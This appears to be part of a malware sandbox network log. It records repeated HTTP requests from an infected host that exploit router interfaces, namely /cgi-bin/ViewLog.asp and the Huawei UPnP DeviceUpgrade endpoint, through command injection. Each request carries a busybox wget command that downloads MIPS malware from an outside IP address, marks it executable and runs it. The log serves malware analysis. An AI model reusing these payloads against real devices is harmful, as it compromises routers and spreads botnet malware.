55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:03.995559931 CET236INHTTP/1.1 500 Internal Server Error
                                                Content-Type: text/xml; charset="utf-8"
                                                Server: Linux UPnP/1.0 Huawei-ATP-IGD
                                                EXT:
                                                Connection: Keep-Alive
                                                Content-Length: 398


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                474192.168.2.154289694.121.134.518080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:02.649688959 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                475192.168.2.155611862.103.31.828080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:02.659127951 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                476192.168.2.155683495.86.126.1488080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:02.661401987 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                477192.168.2.155801095.86.82.1028080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:02.673599958 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                478192.168.2.154693894.122.10.2088080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:02.868640900 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                479192.168.2.155834494.187.107.238080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:02.869555950 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                480192.168.2.155379062.141.112.1868080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:02.874893904 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:03.117269039 CET236INHTTP/1.1 200 Ok
                                                Server: httpd
                                                Date: Wed, 22 Nov 2023 20:22:02 GMT
                                                Cache-Control: no-cache
                                                Pragma: no-cache
                                                Expires: 0
                                                Content-Type: text/html
                                                Connection: close


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                481192.168.2.155380662.141.112.1868080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:03.355649948 CET190INHTTP/1.1 400 Bad Request
                                                Server: httpd
                                                Date: Wed, 22 Nov 2023 20:22:03 GMT
                                                Content-Type: text/html
                                                Connection: close


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                482192.168.2.154171241.44.221.20037215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:03.929462910 CET886OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:04.187925100 CET236INHTTP/1.1 500 Internal Server Error
                                                Content-Type: text/xml; charset="utf-8"
                                                Server: Linux UPnP/1.0 Huawei-ATP-IGD
                                                EXT:
                                                Connection: Keep-Alive
                                                Content-Length: 398


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                483192.168.2.154225285.122.212.2368080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:06.313395977 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                484192.168.2.154170231.200.117.398080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:06.395406008 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                485192.168.2.153519431.170.55.1788080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:06.418447018 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                486192.168.2.153798495.216.139.898080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:06.594497919 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                487192.168.2.153899494.121.79.758080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:06.643896103 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                488192.168.2.155404031.136.233.2498080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:06.778445959 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:07.353677034 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:08.473542929 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:10.873599052 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:15.481359959 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:24.441173077 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:43.128557920 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                489192.168.2.153803685.94.76.578080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:06.801141977 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:07.007852077 CET579INHTTP/1.1 400 Bad Request
                                                Content-Type: text/html; charset=us-ascii
                                                Server: Microsoft-HTTPAPI/2.0
                                                Date: Thu, 23 Nov 2023 04:21:38 GMT
                                                Connection: close
                                                Content-Length: 334
